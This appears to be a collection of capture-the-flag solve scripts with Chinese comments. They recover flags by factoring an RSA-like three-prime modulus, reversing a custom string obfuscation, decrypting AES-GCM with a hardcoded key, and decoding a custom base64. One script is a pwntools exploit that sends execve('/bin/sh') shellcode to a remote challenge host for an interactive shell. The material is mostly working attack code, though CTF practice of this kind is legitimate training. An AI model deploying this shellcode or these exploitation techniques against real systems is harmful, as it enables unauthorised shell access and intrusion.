1
from sympy import symbols, solve
2

3
# 定义变量
4
x = symbols('x')
5

6
# 多项式系数
7
coeff_2 = 15264966144147258587171776703005926730518438603688487721465
8
coeff_1 = 76513250180666948190254989703768338299723386154619468700730085586057638716434556720233473454400881002065319569292923
9
N = 125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619
10

11
# 定义多项式
12
polynomial = x**3 - coeff_2*x**2 + coeff_1*x - N
13

14
# 求解多项式的整数根
15
roots = solve(polynomial, x)
16
print("N的素因子 n0, n1, n2:", roots)
17
print(roots[0]*roots[1]*roots[2]==125440939526343949494022113552414275560444252378483072729156599143746741258532431664938677330319449789665352104352620658550544887807433866999963624320909981994018431526620619)
18

19
from Crypto.Util.number import long_to_bytes
20
from sympy.ntheory.modular import solve_congruence
21
import itertools
22

23
# 已知密文 c
24
c = 24884251313604275189259571459005374365204772270250725590014651519125317134307160341658199551661333326703566996431067426138627332156507267671028553934664652787411834581708944
25

26
# N 的三个素因子
27
n0 = 3868765709106144154703556118635822400623994075212553582411
28
n1 = 5487564316951417093934647798659941512646442958127439071827
29
n2 = 5908636118089697338533572785710162817248001570348495067227
30

31
# 计算平方根 (适用于 p ≡ 3 mod 4)
32
def sqrt_mod(c, p):
33
    r = pow(c, (p + 1) // 4, p)
34
    return (r, p - r)  # 返回两个解
35

36
# 计算所有可能的 flag mod ni
37
roots_n0 = sqrt_mod(c, n0)
38
roots_n1 = sqrt_mod(c, n1)
39
roots_n2 = sqrt_mod(c, n2)
40

41
# 遍历所有可能的组合
42
for r0, r1, r2 in itertools.product(roots_n0, roots_n1, roots_n2):
43
    flag, _ = solve_congruence((r0, n0), (r1, n1), (r2, n2))
44
    flag_bytes = long_to_bytes(flag)
45

46
    if b'{' in flag_bytes.lower():  # 判断是否包含 'flag' 关键字
47
        print("找到正确 flag:", flag_bytes.decode())
48
        break

1
from pwn import *
2

3
r = remote("node.vnteam.cn",44184)
4

5
shellcode = "\x48\x83\xc7\x0e\xb0\x3b\x0f\x05\x2f\x62\x69\x6e\x2f\x73\x68\x00"
6

7
print(len(shellcode))
8
payload = shellcode
9

10
r.sendlineafter(b"strength ",payload)
11

12
r.interactive()

1
def decrypt(encrypted_str):
2
    recovered_chars = []
3
    for i, ch in enumerate(encrypted_str):
4
        E = ord(ch)
5
        if E < 103:
6
            orig = E - (i % 4) + ord('1')
7
        else:
8
            orig = E - ord('7') - (i % 10)
9
        recovered_chars.append(chr(orig))
10

11
    def code(a, index):
12
        if index >= len(a) - 1:
13
            return
14
        a[index], a[index+1] = a[index+1], a[index]
15
        code(a, index + 2)
16

17
    char_list = list("".join(recovered_chars))
18
    code(char_list, 0)
19
    hex_str = "".join(char_list)
20

21
    enc = bytes.fromhex(hex_str)
22

23
    origin = bytes((b - 68) % 256 for b in enc)
24

25
    originstr = origin.decode('utf-8')
26

27
    return originstr
28

29

30
encrypted = "0qksrtuw0x74r2n3s2x3ooi4ps54r173k2os12r32pmqnu73r1h432n301twnq43prruo2h5"
31
decrypted = decrypt(encrypted)
32
print(decrypted)

1
from Crypto.Cipher import AES
2
import base64
3

4
def decrypt(ciphertext_base64, key, aad):
5
    # 解码 Base64 编码的密文
6
    ciphertext = base64.b64decode(ciphertext_base64)
7
    # 假设 IV 长度为 12 字节，GCM 标签长度为 16 字节
8
    iv = ciphertext[:6]
9
    tag = ciphertext[-16:]
10
    encrypted_data = ciphertext[6:-16]
11

12
    # 创建 AES/GCM 解密器
13
    cipher = AES.new(key, AES.MODE_GCM, nonce=iv)
14
    # 设置额外认证数据
15
    cipher.update(aad)
16

17
    try:
18
        # 解密数据并验证标签
19
        decrypted_data = cipher.decrypt_and_verify(encrypted_data, tag)
20
        return decrypted_data.decode('utf-8')
21
    except ValueError:
22
        print("认证标签验证失败，数据可能被篡改。")
23
        return None
24

25

26
if __name__ == "__main__":
27
    # 密钥，长度必须为 16、24 或 32 字节（对应 AES-128、AES-192 或 AES-256）
28
    key = b'atrikeyssyekirta'
29
    # 假设这是 Base64 编码的加密数据
30
    ciphertext_base64 = 'MTE0NTE0HMuJKLOW1BqCAi2MxpHYjGjpPq82XXQ/jgx5WYrZ2MV53a9xjQVbRaVdRiXFrSn6EcQPzA=='
31
    # 额外认证数据
32
    aad = b'mysecretadd'
33

34
    decrypted_text = decrypt(ciphertext_base64, key, aad)
35
    if decrypted_text:
36
        print("解密结果:", decrypted_text)

1
def decode_custom_base64(encoded):
2
    base64_chars = "TUVWXYZabcdefghijABCDEF456789GHIJKLMNOPQRSklmnopqrstuvwxyz0123+/"
3
    base64_table = {char: idx for idx, char in enumerate(base64_chars)}
4

5
    # 计算填充数量并去除填充符
6
    pad_count = encoded.count('=')
7
    encoded_clean = encoded.rstrip('=')
8

9
    # 计算原始数据长度
10
    n = len(encoded_clean)
11
    if pad_count == 0:
12
        original_len = (n * 3) // 4
13
    elif pad_count == 1:
14
        original_len = (n * 3 + 2) // 4
15
    elif pad_count == 2:
16
        original_len = (n * 3 + 1) // 4
17
    else:
18
        original_len = (n * 3) // 4
19

20
    # 转换为索引列表
21
    indices = []
22
    for c in encoded_clean:
23
        if c in base64_table:
24
            indices.append(base64_table[c])
25
        else:
26
            indices.append(0)  # 处理无效字符，假设为0
27

28
    decoded = bytearray()
29
    for i in range(0, len(indices), 4):
30
        chunk = indices[i:i+4]
31
        while len(chunk) < 4:
32
            chunk.append(0)  # 不足四部分补0
33

34
        c1, c2, c3, c4 = chunk
35

36
        # 解码第一个字节
37
        a = (c1 << 2) | (c2 & 0x03)
38
        decoded.append(a)
39

40
        # 解码第二个字节
41
        b_high = (c2 & 0x3C) >> 2
42
        b_low = c3 & 0x0F
43
        b = (b_high << 4) | b_low
44
        decoded.append(b)
45

46
        # 解码第三个字节
47
        c_high = (c3 >> 4) & 0x03
48
        c = (c_high << 6) | c4
49
        decoded.append(c)
50

51
    # 根据原始长度截断结果
52
    return bytes(decoded[:original_len])
53

54
# 示例用法
55
encoded_str = "56BM"  # 编码后的字符串
56
decoded_data = decode_custom_base64(encoded_str)
57
print(decoded_data)